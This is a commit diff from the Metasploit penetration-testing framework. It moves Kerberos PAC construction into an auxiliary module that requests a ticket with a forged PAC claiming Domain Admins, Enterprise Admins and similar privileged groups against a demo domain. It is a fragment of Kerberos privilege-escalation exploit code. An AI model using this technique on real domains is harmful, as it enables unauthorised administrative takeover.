Build PAC extensions from the module
parent
04ef087434
commit
9bd454d288
|
@ -16,9 +16,9 @@ module Msf
|
||||||
realm = opts[:realm] || ''
|
realm = opts[:realm] || ''
|
||||||
sname = opts[:sname] || build_server_name(opts)
|
sname = opts[:sname] || build_server_name(opts)
|
||||||
|
|
||||||
pac = build_pac(opts)
|
#pac = build_pac(opts)
|
||||||
|
|
||||||
opts.merge!({:pac => pac.encode})
|
#opts.merge!({:pac => pac.encode})
|
||||||
|
|
||||||
auth_data = build_authorization_data(opts)
|
auth_data = build_authorization_data(opts)
|
||||||
|
|
||||||
|
|
|
@ -63,6 +63,15 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
ticket = res.ticket
|
ticket = res.ticket
|
||||||
|
|
||||||
print_status("Sending TGS-REQ...")
|
print_status("Sending TGS-REQ...")
|
||||||
|
|
||||||
|
pac = build_pac(
|
||||||
|
client_name: 'juan',
|
||||||
|
group_ids: [513, 512, 520, 518, 519],
|
||||||
|
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
|
||||||
|
realm: 'DEMO.LOCAL',
|
||||||
|
logon_time: logon_time,
|
||||||
|
)
|
||||||
|
|
||||||
res = send_request_tgs(
|
res = send_request_tgs(
|
||||||
client_name: 'juan',
|
client_name: 'juan',
|
||||||
server_name: 'krbtgt/DEMO.LOCAL',
|
server_name: 'krbtgt/DEMO.LOCAL',
|
||||||
|
@ -72,7 +81,8 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
session_key: session_key,
|
session_key: session_key,
|
||||||
ticket: ticket,
|
ticket: ticket,
|
||||||
group_ids: [513, 512, 520, 518, 519],
|
group_ids: [513, 512, 520, 518, 519],
|
||||||
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962'
|
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
|
||||||
|
pac: pac.encode
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res.msg_type == 13
|
unless res.msg_type == 13
|
||||||
|
|
Loading…
Reference in New Issue